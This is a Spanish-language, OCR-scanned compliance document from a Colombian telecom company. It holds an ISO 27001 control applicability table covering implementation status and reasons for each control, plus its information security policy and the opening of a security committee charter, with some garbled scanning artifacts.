AA125 Control de software
Asegurarse de la integridad de los sistemas operacionales.
Este control no se
implementara debido a
que un porcentaje de
Se deben implementar :::nolé icaglalaform::
Instalacion de software en procedimientos para controlar la N 9 q
A1251 | N H N N Sl maneja el area de TI
sistemas operativos. instalacién de software en sistemas ne cuentan en este
operativos. momente con respaldo
ni actualizaciones de
seguridad por parte del
proveedor.
Gestion de la vulnerabilidad
A126 técnica.
Prevenir el aprovechamiento de las vulnerabilidades técnicas.
.S? dEbfZ obtener eportlc_:namell-nle Se desarrollo un plan de pruebas de
informacion =~ acerca de  @S|efectividad en sobre algunas de las
vulnerabilidades técnicas de los |ataformas  criticas _de Tl
" - sistemas de informacién que se usen; 4 e 4 1. Definir y establecer roles y responsabilidades
Gestion de las vulnerabilidades 9 computadores de escritorioc de la
A1261 técnicas evaluar la exposicion de la empresa con el fin de determinar NO asociados con la gestion de vulnerabilidades Coordinadorde Tl NO
erglanlzahfi!gnd a P es:as vulnerabilidades técnicas y brindar tecnicas en la empresa
vuinerabilicaces, Y omar 35| recomendaciones  de mitigacion a
medidas apropiadas para tratar el dichas vulnerabilidades
riesqo asociado
. sobre la i Se debe establecer e implementar
A126.2] ! las reglas para la instalacion de NO 1. Este control se cubrira con el
de software. N
software por parte de los usuarios.
Consideraciones sobre
A12.7 |auditorias de sistemas de
informacién.
Minimizar el impacto de las actividades de auditoria sobre los sistemas operativos.
Este control no se
implementara hasta
Los requisitos y actividades de que no se hayan
auditoria que involucran la puesto en marcha los
" verificacién de los sistemas demas controles
Controles de auditorias de " .
A127.1| . : operativos se deben planificar y sI contemplados en esta
sistemas de informacién. " :
acordar cuidadesamente para declaracion de

minimizar las interrupciones en los
procesos del negocio.

aplicabilidad ya que se
requiere de un cierto
nivel de madurez del
MSPI




Seguridad de
las
comunicaciones

A131

Gestion de la seguridad de las
redes.

Asegurar la proteccion de la informacion en las redes, y sus instalac

iones de procesamiento de informacién de soporte.

A13.1.1

Controles de redes.

Las redes se deben gestionar y
controlar para proteger la informacion
en sistemas y aplicaciones.

Las conexiones de red inalambrica
tienen control de acceso y se
encuentran  segmentadas  segun
privilegios que deben tener los
respectivos ususarios

Sl

A1312

Seguridad de los servicios de red.

Se deben identificar los mecanismos
de seqguridad, los niveles de servicio
y los requisitos de gestion de todos
los servicios de red, e incluirlos en
los acuerdos de servicios de red, ya
sea que los servicios se presten
infernamente o se  contraten
externamente.

Sl

A1313

Separacion en las redes.

Los grupos de sericios de
informacién, usuarios y sistemas de
informacién se deben separar en las
redes.

Se tiene implementado separacion
de redes a nivel de VLANSs

Sl

Se establecerd si estos
controles se
implementaran en un
futuro de acurerdo al
alcance del MSPI

A132

Transferencia de informacion.

Mantener la seguridad de la informacién transferida dentro de una organizacién y con cualquier entidad externa.

A13.21

Politicas y procedimientos de
transferencia de informacién.

Se deberfa contar con politicas,
procedimientos y  controles de
transferencia formales para proteger
la transferencia de informacion
mediante el uso de todo tipo de
instalaciones de comunicacion.

Sl

A13.22

Acuerdos sobre transferencia de
informacion.

Los acuerdos deberian tener en
cuenta la transferencia segura de
informacién del negocio entre la
organizacion y las partes externas.

Sl

A1323

Mensajeria electronica.

Se deberia proteger adecuadamente
la informacién incluida en la
mensajerfa electrénica

La mensajerfa electrénica se tiene
con un proveedor que asegura las
comunicaciones mediante el cifrado

Sl

A1324

Acuerdos de confidencialidad o
de no divulgacion

Se deben identificar, revisar
reqularmente y documentar los
requisifos para los acuerdos de
confidencialidad o no divulgacion
que reflejen las necesidades de la
organizacion para la proteccion de la
informacién.

Sl

Se establecerd si estos
controles se
implementaran en un
futuro de acurerdo al
alcance del MSPI




Adquisicion,
desarrollo y
mantenimiento
de sistemas

Requisitos de seguridad de los

Ll sistemas de informacién.
Asegurar que la seguridad de la informacién sea una parte gral de los sist: de i6 todo el ciclo de vida. Esto incluye también los
requisitos para sistemas de informacién que prestan servicios sobre redes publicas.
Los requisitos relacionados con
‘o " : seguridad de la informacion se deben
Analisis y especificacién de h " .
o N incluir en los requisitos para nueves
A.14.1.1 |requisitos de seguridad de la " . " Sl
. ; sistemas de informacién o para
informacion. . N
mejoras a los sistemas de
informacion existentes.
La informacion involucrada en los
servicios de aplicaciones que pasan
Ad412 Seguric?ad de servicios de Igs sobre redes »p»l'nblicas se debe sl Se establecers si estos
aplicaciones en redes pablicas. |proteger de actividades fraudulentas, controles se
disputas contractuales y divulgacion implementaran en un
y modificacién no autorizadas. futuro de acurerdo al
alcance del MSPI
La informacién involucrada en las
transacciones de los servicios de las
aplicaciones se debe proteger para
Proteccién de transacciones de evitar la transmisién incompleta, el
A1413 S L enrutamiento errado, la alteracién no Sl
los servicios de las aplicaciones. . .
autorizada de mensajes, la
divulgacién no autorizada, y la
duplicacién o reproduccion de
mensajes no autorizada.
Si idad en los p de
Lk desarrollo y de soporte.
Asegurar que la seguridad de la informacién esté disefiada e implementada dentro del ciclo de vida de desarrollo de los sistemas de informacién.
Se deben establecer y aplicar reglas Este control no se
A14.21 |Politica de desarrollo seguro. para el desarrollo de software y de sl implementara debido a
sistemas, a los desarrollos que se que en la empresa no
dan dentro de la organizacion. se desarrolla software
Este control no se
implementara debido a
que como vya se
. . menciono en la
Los cambios a los sistemas dentro .
- . empresa no se realiza
A del ciclo de vida de desarrolle se
Procedimientos de control de N desarrollo de software,
A14.22 . - deben controlar mediante el uso de Sl -
cambios en sistemas. . por tal motivo no se
procedimientos formales de control verifica ni se tiene
de cambios.
control sobre los
cambios durante el
ciclo de vida de
desarrollo
Cuando se cambian las plataformas
de operacion, se deben revisar las Este control no se
Revision técnica de las aplicaciones criticas del negocio, y implementara por]
A.14.2 3 |aplicaciones después de cambios [someter a prueba para asegurar que Sl ahora debido a que no
en la plataforma de operacion. no haya impacto adverso en las representa un riesgo
operaciones o© seguridad de la critico para la empresa
organizacién.
Este control no se
implementara debido a
que para la mayoria
de codigos fuentes de
Se deben desalentar las las plataformas
modificaciones a los paquetes de tecnolégicas del area
A14.24 Restricciones en los cambios a software, los cuales se deben limitar sl de TI los unicos que

los paquetes de software.

a los cambios necesarios, y todos los
cambios se deberian controlar
estrictamente

tienen acceso son los
dos ingenieros de TI
los cuales no se
encuentran
autorizados para hacer|
medificaciones a los
paquetes software




Adquisicion,
desarrollo y
mantenimiento
de sistemas

Principios de construccién de los

Se deben establecer, documentar y
mantener  principios para la
construccion de sistemas seguros, y

Este control no se
implementara debido a
que como ya se

A14.25] . " N o si .
sistemas seguros. aplicarlos a cualquier actividad de menciono en la
implementacién de sistemas de empresa no se realiza
informacion desarrollo de software
Las organizaciones deben establecer
Este control no se
y proteger adecuadamente los . 5
) implementara debido a
ambientes de desarrcllo seguros ue  como a se
A.14.2.6 |[Ambiente de desarrollo seguro.  |para las actividades de desarrollo e Sl a . ¥
H s N menciono en la
integracion de sistemas que N
. . empresa no se realiza
comprendan todo el ciclo de vida de
. desarrollo de software
desarrollo de sistemas.
propiedad de los cddigos y derechos de
propiedad intelectual relacionados con el
contenido contratado externamente;
2. Establecer los requisitos contractuales para
practicas seguras de disefio, codificacién y
pruebas;
3.Realizar los ensayos de aceptacion para
determinar la calidad y exactitud de los
La organizacién debe supervisar y entregables;
Ad427 Desarrollo contratado hacer seguimienfo de la actividad de NO 4. Definir la evidencia de que se usaron| coordinadorde Tl NO
externamente. desarrollo de sistemas contratados umbrales de seguridad para establecer niveles
externamente. minimos aceptables de calidad de la seguridad y
de la privacidad;
5. Definir la evidencia de que se han hecho
pruebas suficientes para proteger contra
contenido malicioso intencional y no intencional
en el momento de la entrega;
6. Definir la evidencia de que se han hecho
pruebas suficientes para proteger contra la
presencia de vulnerabilidades conocidas;
Este control no se
Pruebas de sequridad de Durante el desarrollo se deben llevar |Tzlem:on:um de:|d05:
A1428]| . 9 a cabo pruebas de funcionalidad de Sl 4 . ¥
sistemas. N menciono  en la
la seguridad. N
empresa no se realiza
desarrollo de software
Para los mstemas» de informacion 1. Establecer programa de prusbas de
nuevos, actualizaciones y nuevas N k . .
. N aceptacion para sistemas de informacién nuevos,
Prueba de aceptacion de versiones, se deben establecer N L . "
A14.29] . NO en el que se incluya requisitos de seguridad de| Coordinadorde Tl Sl
sistemas. programas de prueba para A 5 N N
. - N la informacién y la adherencia a practicas de
aceptacion y criterios de aceptacion N
. desarrollo seguro de sistemas.
relacionados.
A.14.3 |Datos de pruebas.
Asegurar la proteccién de los datos usados para pruebas.
1. Implementar formato de autorizacion para el
uso de datos operacionales en ambientes de
prueba.
Los caos de_prsba se daben e, 5 o e
A.14.3.1 |Proteccién de datos de prueba.  |seleccionar, proteger y controlar NO P P Coordinador de Tl NO

cuidadosamente.

inmediatamente despues de finalizar las
pruebas.

3. Mantener registros (logged) desde el copiado
de la informacién operacional hasta la
finalizacion de su uso.




Relaciones con
los proveedores

A15.1

Seguridad de la informacién en
las relaciones con los
proveedores.

Asegurar la proteccion de los activos de la organizacién que sean accesibles a los proveedores.

Politica de seguridad de la

Los requisitos de seguridad de la
informacién para mitigar los riesgos
asociados con el acceso de

A.15.1.1 |informacion para las relaciones . sl
con proveedofes. pmvegdores a los activos de la
organizacién se deben acordar con
estos y se deben documentar.
Se deben establecer y acordar todos
los requisitos de seguridad de la
Tratamlento de la sequridad informacién pertinentes con cada Se establecera si estos
A.15.1.2 |dentro de los acuerdos con proveadar que pueda tener aj:ceso, sl FOntmIes 88
pmveedores. pmcg§ar, almacenar, comunicar o implementaran en un
suministrar componentes de futuro de acurerdo al
infraestructura de Tl para la alcance del MSPI
informacién de la organizacién.
Los acuerdos con proveedores
deben incluir requisitos para tratar los
Cadena de suministro de riesgos de seguridad de la
A.15.1.3 |tecnologia de informacién y informacién asociados con la cadena Sl
comunicacion. de suministo de productos y
servicios de  tecnologia  de
informacién y comunicacion.
A452 Gestion de la prestacion de

servicios de proveedores.

Mantener el nivel acordado de seguridad de la informacién y de pres

tacién del servicio en linea con los acuerdos con los proveedores.

A152.1

Seguimiento y revision de los
servicios de los proveedores.

Las organizaciones deben hacer,
seguimiento, revisar y auditar con
regularidad la prestacion de servicios
de los proveedores.

S

A15.22

Gestidn de cambios en los
servicios de los proveedores.

Se deben gestionar los cambios en el
suministro de servicios por parte de
los  proveedores, Incluido el
mantenimiento y la mejora de las
politicas, procedimientos y controles
de seguridad de la informacion
existentes , teniendo en cuenta la
criticidad de la informacion, sistemas
y procesos del negocio involucrados,
y la revaloracién de los riesgos.

Sl

Se establecera si estos
controles se
implementaran en un
futuro de acurerdo al
alcance del MSPI




Gestion de
incidentes de
seguridad de la
informacién

Gestion de incidentes y
A.16.1 |mejoras en la seguridad de la
informacién.
Asegurar un enfoque coherente y eficaz para la gestion de incidentes de seguridad de la informacién, incluida la comunicacién sobre eventos de seguridad y
debilidades.
Se deben establecer las
responsabilidades y procedimientos
Responsabilidades y de gestion para asegurar una
A16.1.1 . . NO X
procedimientos. respuesta rapida, eficaz y ordenada a
los incidentes de seguridad de la
informacién.
Los eventos de seguridad de la
Reporte de eventos de sequridad informacién se deben informar_ a
A16.12 X N través de los canales de gestion NO X
de la informacién. !
apropiados, tan prontc como sea ' -
posible. 1. Implementar un plan de gestién de |n(?|fientes
que permita establecer roles y responsabilidades
Se debe exigir a todos los empleados y asequrar una respuesta rapida, eficaz y
y contratistas que usan los servicios y ordenada a cualquier incidente de seguridad
B sistemas de informacién  de  la que se presente en la entidad. - Procedimiento
A1643 Reporle de debl!ldadesqe organizacion, que ob;grven y NO x |para planificacion y preparacién de respuesta a
seguridad de la informacion. reporten  cualquier debilidad de incidentes -Procedimiento para seguimiento,
seguridad de la informacion deteccién, analisis y reporte de eventos e
observada o sospechada en los incidentes de seguridad de la informacion. -
sistemas o servicios. Procedimientos para la valoracion y toma de
Los eventos de seguridad de la decisiones sobre eventos de seguridad de la
Evaluacién de eventos de informacién se deben evaluar y se informacién y la valoracién de debilidades de
A.16.1.4 |seguridad de la informaciény ~ |debe decidir si se van a clasificar| NO X seguridad de la informacién - Procedimiento para
decisiones sobre ellos. como incidentes de seguridad de la respuesta a incidentes , escalamiento a una
informacién. instancia superior, recuperacién controlada de un
incidente y comunicacién a personas u
organizaciones internas ¥ externas;
Respuesta a incidentes de ;ecid:;l::z g:r sf;ﬁ:::t: :e k:: 2. Establecer canales apropiados para reportar
A16.15 - X X . . NO X un incidente de seguridad en la entidad.
seguridad de la informacion. |nfonn§m§n de acuerdo con 3. Implementar un XDR (Detection and
procedimientos documentados. Response - heramienta de respuesta a
incidentes y deteccién de as de
El conocimiento adquiride al analizar seguridad)
Aprendizaje obtenido de los y resolver incidentes de seguridad de
A.16.1.6 |incidentes de seguridad de la la informaciéon se debe usar para NO X
informacion. reducir la posibilidad o el impacto de
incidentes futuros.
La organizacién debe definir y aplicar
procedimientos para la identificacion,
A.16.1.7 |Recoleccion de evidencia. recoleccion, adquisicidn 1% NO X
preservacion de informacion que
pueda servir como evidencia.

Coordinador de Tl

Sl




Aspectos de
seguridad de la
informacion de

la gestion de
continuidad de

negocio

Continuidad de seguridad de la

L0l informacién.
La continuidad de seguridad de la informacién se debe incluir en los sist de gestién de la inuidad de io de la organizacién.
Por el momento Ta
empresa no cuenta
con un plan de
continuidad del
negocio, razon por la
La organizacién debe determinar sus cual ltampooo sel I_'uan
e N definido los requisitos
requisitos para la seguridad de la .
. N - para la seguridad de la
. . - informacién y la continuidad de la : N
Planificacién de la continuidad de N X informacién en caso en
A1711 . . . gestion de la seguridad de la S|
la seguridad de la informacién.  |* . Lo que se presenten
informacién en situaciones adversas, L
N . situaciones adversas,
por ejemplo, durante una crisis o o
en  principio  este
desastre.
control no se
implementara debido a
que es  necesario
conocer y establecer|
informacién que aun
no se tiene
La organizacion debe establecer,
documentar, implementar y mantener| Este control no se
Implementacion de la continuidad procesos, procedlmlenios ycgmrgles |mp|ement§ra debido a
A1712 X . .. |para asegurar el nivel de continuidad S| que no existe un plan
de la seguridad de la informacién. N N .
requerido para la seguridad de la de continuidad del
informacién durante una situacion negocio
adversa.
La organizacién debe verificar a
intervalos regulares los controles de Este control no se
Verificacion, revisién y continuidad de la seguridad de la implementara debide a
A.17.1.3 |evaluacién de la continuidad de  |informacién establecidos e Sl que no existe un plan
la seguridad de la informacién.  |implementados, con el fin de de continuidad del
asegurar que son validos y eficaces negocio
durante situaciones adversas.
A.17.2 |Redundancias.
Asegl la disponibilidad de i laci de p liento de informacién.
Aunque es muy
importante contar con
equipos de
redundancia para
cumplir ~ con los
Las instalaciones de procesamiento requisitos de
Disponibilidad de instalaciones de informacién se deben implementar La empresa tiene algunos equipos disponibilidad,  este
A17.21 P con redundancia suficiente para P 9 quip Sl control no se

de procesamiento de informacion.

cumplir los requisitos de

disponibilidad.

que si cuentan con redundancia

implementara debido a
que la empresa no
cuenta en este
momento  con  los
recursos  econoémicos
que le  permitan
adquirirlos.




Cumplimiento

de

A8 | ggales y contractuales.
Evitar el de las I ! o das con seguridad de la informacién y de
Todas los mq""’;'m’ estatutarios, 1. Identificar y documentar las obligaciones
legales, estatutarias, de reglamentacién o©
\ de la y el enfoque de la contractuales relacionadas con seguridad de la
A.18.1.1 |aplicable y de los requisitos n para  cumplirios, se NO x| x informacién Jefe de Juridica NO
-18.1. deben identificar y documentar .
contractuales. expilditaments v e 2. Documentar los respon
" N individuales especificas para cumplir con estos
actualizados para cada sistema de requisites
informacién y para la erganizacién. -
Se deben implementar
procedimientos  apropiados  para
msagurar al cumplimianic ds los 1. Implementar politica sobre el cumplimiento de
A.18.1.2 |Perechos de propledad requisitos  lsglsiativos, de NO x derechos de propiedad intelectual que defina el| Practicante de TI NO
intelectual. reglamentacién  y  ocontractuales a0 legal de software y produtos Informarticos
relacionados con los derechos de
propiedad intelectual y el uso de
productos de software patentados.
Este control no se
implementara debido a
que la empresa no ha
Los registros se deben proteger realizado Ia
contra pérdida, destruccién, clasificacion  de  su
falsificacion, acceso no autorizado y informacién para todos
A.18.1.3 |Proteccién de registros. liberacién no autorizada, de acuerdo sI sus procesos, razén
con los requisitos legislatives, de por lo cual se dificulta
\acién, co v de implementar directrices
negocio. para la retencién,
almacenamiento,
manejo y disposicién
de esta.
1. Actualizar la politica de privacidad y proteccion
datos personales.
lizar la politica con todos los empleados
de la empresa involucrados en el procesamiento
de informacion de datos personales.
Se deben asegurar la privacidad y la 3. Neombrar a una persona en la empresa
Privacidad ¥ protecaién de proteccién de la informacién de datos responsable de la privacidad y manejo de la
ABL1a | B ot f personales, como se exige en la NO x p \ de datos per la cual debera| Coordinadorde T1 NO
personales. =onal . © < ! "
legislacion y la reglamentacion brindar orientacién al gerente, usuarios y
pertinentes, cuando sea aplicable. proveedores acerca de sus responsabilidades y
procedimientos especificos que se deben seguir
en relacion al tema.
4. cumplir con la legislacién que establece
controles sobre la recoleccién, procesamiento y
transmision de datos personales.
Debide a que en
Colombia no existen
leyes ni
regalamentaciones
acerca de Ia
se deben usar controles importancia de cifrar
A1BA5 Reglarr 1de crip , en cumplimiento de sI datos de caracter
-18-1-5 criptograficos. todos los acuerdos, legislacién y personal, este control
reglamentacion pertinentes. no  representa  un
riesgo  criico  de
caracter legal para la
empresa razon por la
cual no se
implementara
AAd8.2 Revisiones de seguridad de la
A que la de la se y opere de con las yP
1. Revisar de manera Independiente Ila
El enfoque de la organizacién para la implementacién y gestién de la seguridad de la
gestion de la seguridad de la informacién en la empresa, esta revision se
informacién y su implementacién (es debera  llevar acabo  por Individuos
decir, los objetivos de control, los independientes del area que se esta
A 182 1 |Revision independients de Ia controles, las politicas, los procesos y NO % auditando(auditoria interna, © por una parte NO
-18-21 1 seguridad de 1a informacion. los procedimientos para seguridad de externa de la entidad que se especializa en estas
la informacién) se deberian revisar revisiones)
independientemente a intervalos 2. Establecer plan de auditoria interna.
planificados o cuando ocurran 3. Registrar los resultados de la auditoria y las
cambios significativos. oportunidades de mejora o cambios en la
seguridad de la informacion identi
Los directores deben revisar con . -
reguiaridad el cumplimianio _ dl Sogundng de 1 mistmaeien definaes en las
Cumplimiento con las politicas y |Pocesamiento y procedimientos de politicas, normas y otras reglamentaciones
A8z | e seauidad informacion dentro de su area de NO x Bplicables Gerente NO
. ms”“"*"’:"'dad‘ :;“"d Lt "“i"':f‘“ ¥ 2. Registrar los resultados de las revisiones y las
nores de seguridad spropladas, y acciones correctivas realizada
cualquier otro requisito de seguridad.
Este control no se
implementara por el
L . inf . momento debido a que
os sistemas de informacion se e ool Ao 61
Revision del cumplimiento daban mevisar parédicamsnis para se estan cubriendo las
A.18.2.3 determinar el cumplimiento con las s

técnico

politicas y normas de seguridad de la
informacian.

necesidades de la

entidad para la
wvaloracion y gestion de
vulnerabili




ANEXO L
POLITICA DE SEGURIDAD DE LA INFORMACION

LA INFORMACION CONTENIDA EN ESTE DOCUMENTO TIENE UN NIVEL DE CONFIDENCIALIDAD INTERNA DELA EMPRESA
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1. INTRODUCCION
La seguridad de la inform acidn, se ha vuelto indispensable para cualguier empresa, dado que

la informacidn es el activo mas importante de estas. Actualmente las empresas de cualguier
tipo ¥ tamafio recalectan, procesan, almacenan y transmiten infarmacidn en muchas farmas
gque incluyen formatos electrdnicos, fisicos v comunicaciones verbales, En ese sentido la
informacidn ¥ los procesos relacionados con esta requieren proteccidn contra diversos
peligros Fraudes inform&ticos, espionaje, sabotaje, vandalismo, incendios, inundaciones,
virus inform aticos, entre otros, haciéndose necesario la implementacidn de un Sistema de
Gestidn de |a Seguridad de la inform acidn (SGS51), basado en la norma (5027001 que permita
desarrollar mecanismos gue garanticen la disponibilidad, integridad v confidencialidad de la
misma, bajo estos aspectos las politicas de seguridad de la informacién son un elemento
fundamental dentro de un SGSI, puesto gque contienen las directrices que enmarcan la

actuacion de los empleados, contratistas y terceros gue hacen parte de una empresa,

2. OBIETIVO
Establecer las directrices generales relacionadas con la seguridad de la informacidn gue le

permitan a la empresa proteger su informacion (datos, procesos y personas) de una amplia
gama de amenazas, con e fin de garantizar la continuidad de los sistemas de inform acidn,
minimizar los riesgos de dafio ¥ asegurar el eficiente cumplimiento de sus objetivos,

3. ALCANCE
Esta politica aplica para los empleados, contratistas y terceros de la Empresa de

Telecomunicaciones 5.A EMTELE.S.P v |3 ciudadania en general

4. DEFINICIONES ¥ REFERENCIAS
¥ Actiwo: Fn refacidn con la sequridad de la informacidn, se refiere a cualquier informacidn o

elemento relacionado con ef tratamiento de la misma (sistermas, soportes, edificios,
personas.. ) que tenga valar para la orgarizacidn, (I30AEC 27000,

¥ Amenaza: Causa potencial de un incidente no deseado, que puede provocar dafios a un
sisterma o la organizacidn, [ISOAEC 27000).

Y Comtrol: lLas politicas, foz procedimientos, las prdcticas v los estructuras arganizativas
concebidas para mantener los riesgos de sequridad de la informacion por debajo del nivel
de rlesgo asumido, Control es también wtilizado como sindnimo de salvaguarda o
contramedida. En una definicion mds simple, ex una medida que modifica el Hesgo,

Y Confidencialidad: Propledad que determing que la informacidn no esté disponible ni seq
revelada a indiiduns, entidades o procesos no qutorizados

YV Disponibilidad: Propledad de que la nformacidn seq accesfhle v utilizable por solicitud de
una entidad qutorizada.
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Y Integridad: Propledad de salvaguardar la exactitud v estado completo de los activos,

Y Plan de continuidad del negocio: Flan orientado q permitlr la continuacidn de las
principales funciones rmisionales o del negocio en el caso de un evento imprevisto que los
ponga en peligro, {ISQAFC 270000,

¥ Politica: Declaracian de alto nivel que describe la posician de la empresa sobre un tema
especifica,

¥ Seguridad de la informacion: Preservacion de o confidencialidad,  integridad, v
disponibitidad de fa informacidn, {ISOAEC 27000,

Y  Sistema de Gestion de Seguridad de la Informacion {§GS51); Conjunto de elementos
interrelacionados o intergctuanites [estructura organizativa, politicas, planificacidn de
actividades, responsabiiidades, procesos, procedimientos y recursos] que utiliza una
organiEacion para establecer una politica v unos obfetivos de seguridad de la informacion v
alcanzar dichos objetivas, basdndose en un enfoque de gestidn v de mefora continug,
{ISO/IEC 27000).

¥ Riesgo: Posibiiidad de que una amenaza concreta pueda explotar una vulnerabilidad para
causar ung pérdida o dalio en un activo de Informaciin, Suele considerarse como una
combinacian de fa probabilidad de un evento v sus consecuencias, (ISQAEC 27000),

Y Vulnerabilidad: Debilidad de un activa o contral que puede ser explotada por una o mds
amenazaz, (I50/EC 27000),

5. DOCUMENTOS DE REFERENCIA
¥ MormalS0 27001, control 5.1.1 —Politicas para la seguridad de lainformacidn

¥ MNormalSO/EC27002:2013
¥ Guia 2 —Paolitica general del M5PI propuesto por el MinTIC
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6. MARCOLEGAL

TIPO

Decreto 1078

ANO

2015

DESCRIPCION

“Por medio del cual se expide el decreto dnico reglamentario del
sector de tecnologias de la informacion ¥ las com unicaciones”

Decreto 1008

2018

"Par lo cual se establecen los lineamientos generales de la palitica de
Gohierno Digital v se subroga el capitulo 1 del titulo 9 de la parte 2
del likro 2 del Decreto 1078 de 2015, Decreto Unico Reglamentario
del sector de Tecnologlas de la lnformacion v las comunicaciones”

Decreto 1083

2015

“Par medio del cual se expide el Decreto Unico Reglamentario del
Sector de Funcion Publica®

Ley 1341

2008

"Par la cual se definen Principios ¥ conceptos sobre |a sociedad de la
infarmacidn v la organizacidn de las Tecnaologias de la Informacion ¥
las Comunicaciones -TIC-, se crea la Agencia Macional del Espectro vy
za dictan otras disposiciones”

Decreto 2693

Ley 1712

2012

2014

Lineamientos generales de la Estrategia de Gobierno en Linea de la
republica de Colombia que lidera el Ministerio de las Tecnologias de
la Infarmacidn y las Comunicaciones y se reglamenta parcialmente
las Leyes 1341 de 2009 vy 1450 de 2011, ¥ se dictan otras
disposiciones (MIMISTERIO DE TECHNOLOGIAS DE LA IMFORRMACION Y
LAS COMUMNICACIOMNES 2012)

"Por la cual se crea la Ley de Transparencia v del Derecho de Acceso
a la Informacidn Piblica y se dictan otras disposiciones”. (Cangreso
de la Repihlica de Colambia, 2014)

Decreto 103

2015

Por lo cual se reglamenta parcialmente la ley 1712 de 2014 y =e
dictan otras disposiciones, en cuanto a la publicacidn y divulgacidn
de lainformacidn,

Ley 1273

2008

"Por medio de la cual se modifica el Cadigo Penal, se crea un nuevo
hien juridico tutelado - denominado "de la proteccion de la
infarmacidn y de los datos" ¥ s= preservan integralmente los
sistemas que utilicen las tecnologias de la informacion v las
comunicaciones, entre otras disposiciones”, (Senado de la Repdblica
de Colom hig, 2009)
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Por el cual se dictan disposiciones generales para la proteccidn de

Ley 15581 2012
= datos personales. (Senado de la Repdhblica de Colombia, 2012)

Por medio de la cual se define y reglamenta el acceso v uso de los
mensajes de datos, del comercio electronico v de las firm as digitales,
y se establecen las entidades de certificacidon ¥ se dictan otras
Ley 527 1999 disposiciones. asi mismo introduce el concepto de equivalente
funcional, firma electrdnica como mecanismos de autenticidad,
disponibilidad y confidencialidad de la infarmacidn, (Congreso de |a
Repiblicade Calombia, 1999)

Por la cual se dictan las disposiciones generales del habeas data v se
regula el manejo de la informacion contenida en bases de datos
Ley 1265 2008 personales, en especial la financiers, crediticia, comercial, de
servicios y la proveniente de terceros paises y se dictan otras
disposiciones (Congreso de la Repiihlica de Colomhig, 2008)

7. POLiTICA

La direccidn de la Empresa de telecomunicaciones de Popayan 5.A EMTEL E5.P, entendiendo
la importancia de una adecuada gestidn de la informacion, se ha comprometido con la
implementacian de un sistema de gestion de seguridad de la informacidn (SG51), buscando
establecer un marco de confianza en el gjercicio de sus deberes con el Estado y los
ciudadanos, todo enmarcado en el estricto cumplimiento de las leyes y en concordancia con
la misidn y wisidn de la em presa,

Para EMTEL 5.4 E.SP, |a proteccidn de la informacidn busca la disminucién del impacto
generado sobre sus activos, por los riesgos identificados de manera sistematics, con ohjeto
de mantener un nivel de exposicidn que permita respander por la integridad, confidencialidad
y la disponibilidad de la misma, acorde con las necesidades de los diferentes grupos de
interés identificados, En ese sentido los principios sobre los que se basara el desarrollo de las
acciones o toma de decisiones alrededor del 5G5S estaran determinados por las siguientes

premisas

Minirmizar el riesgo en las funcionesmas importantesde laempresa.
Curmplir con los principios de seguridad de la infarmacidn,

Cumplir con los principios de la funcidn administrativa,

Mantener la confianza de susclientes, socios y empleados.

Apoyar lainnovacion tecnoldgica,

Proteger losactivos tecnoldgicos,

b= - - - (S

Estabhlecer las paliticas, procedimientos e instructivos en materia de seguridad de la

inform acian,
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Y Fortalecer la cultura de seguridad de la informacian en los empleados, contratistas,
practicantes, tercerosy clientes dela em presa,

¥ Garantizarla continuidad del negocio frente aincidentes,

A continuacion, se establecen 12 principios de seguridad que soportan el SGSI de |la em presa:

Y EMTEL 5.4 E.5.F ha decidido definir, implem entar, operar y mejorar de forma continua un
Sistema de Gestidn de Seguridad de la Informacidn, soportado en lineamientos claros
alineados a las necesidades del negoeio, ¥ a los requerimientos regulatorios que le aplican
asunaturaleza,

Y Las responsahbilidades frente & la seguridad de la informacidn serén  definidas,
com partidas, publicadas y aceptadas por cada uno de los empleados, provesdores, socios
de negocio o terceros,

¥ EMTEL 5.4 E.S.P protegerd la informacidn generada, procesada o resguardada por los
procesos del negocio, su infraestructura tecnoldgica y activos de informacian gue hacen
parte de los mismaos.

Y EMTEL 5A ES.P protegerd la informacidn creads, procesads, transmitida o resguardada
por sus procesos de negocio, con el fin de minimizar impactos financieros, operativos o
legales dehido a un uso incorrecto de esta, Para ello es fundamental |a aplicacidn de
controles de acuerdo con la clasficacidn de lainformacidn de su propiedad o en custodia,

¥ EMTEL S.A ES.P protegerd su informacion de las amenazas originadas por parte del
personal,

¥ EMTEL S.A ES.P protegersd las instalaciones de procesamiento v la infraestructura
tecnoldgica que soporta sus procesos criticos

¥ EMTEL 5.4 E.S.P controlard la operacion de sus procesos de negocio garantizando la
seguridad de losrecursos tecnoldgicos y las redes de datos,

Y EMTEL 5.AE.SP implementara control de acceso a la informacian, sistemas y recursos de
red.

¥ EMTEL 5A E.5.F garantizard que la seguridad sea parte integral del cico de vida de los
sistemasde informacion.

Y EMTEL 5.4 E.5.P garantizard a través de una adecuada gestidn de los eventos de seguridad
y las debilidades asociadas con los sistemas de informacidn una mejora efectiva de su
modelo de seguridad.

¥  EMTEL 5.4 E.5.P garantizara la disponibilidad de sus procesos de negocio y la continuidad
de su operacion basada en el impacto gque pueden generar los eventos,

¥ EMTEL 5.A E.S5.P garantizard el cumplimiento de las ohligaciones legales, regulatorias vy
contractuales establecidas,
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El incumplimiento a la politica de Seguridad de la Informacidn, traerd consigo, las

consecuencias legales gue apliquen de acuerdo la normatividad de la Empresa,

8. ANEXOS

M. A
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CONTROL DE MODIFICACIONES

VERSION FECHA CAMBIOS REALIZADOS
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1. INTRODUCCION

La empresa de Telecomunicaciones de Popayan S.A EMTEL E.S.P, en cumplimiento al compromiso
del Sistema de Gestion de Seguridad de ia Informacién (SGSI), crea ei comité de seguridad de Ia
informacién, definiendo y estableciendo roles y responsabilidades que involucren las actividades
de operacion, gestién y administracién de la seguridad de la informacidn en la empresa.

2.  CBisTIVC
Establecer el comité de seguridad de la informacién en la empresa Telecomunicaciones de
Popaydn S.A EMTEL E.S.P y definir roles y responsabilidades de los integrantes que lo conforman.

3. ALCANCE
Esta politica aplica para los empleados y contratistas que conforman el comité de seguridad de la
informacion de la empresa de telecomunicaciones de Popayan S.A EMTEL E.S.P.

4. DEFINICIONES .

¢ Comitéde Seguridad: es ef-equipo canformade por empiéados gie represenian ¢ las dreas
de una organizacion, responsable de la toma de decisiones en temas de la seguridad de la
informacidn.

e Politica: Declaracién de alto nivel que describe la posicién de la organizacion sobre un
tema especifico.

e Responsabilidad: Cualidad de la persona responsable. "para cubrir ese puesto buscan a
una persona con responsabilidad”.

e Rol: Papel, funcidn que alguien o algo desempefia.

e Matriz RACI: también se conoce como una matriz de asignacion de responsabilidad o un
grdfico de responsabilidad lineal. Describe el uso de varias funciones relacionadas con las
actividades realizadas en una empresa. Las siglas significan:

¥ Responsible (responsable)

v" Accountable (Autoridad)

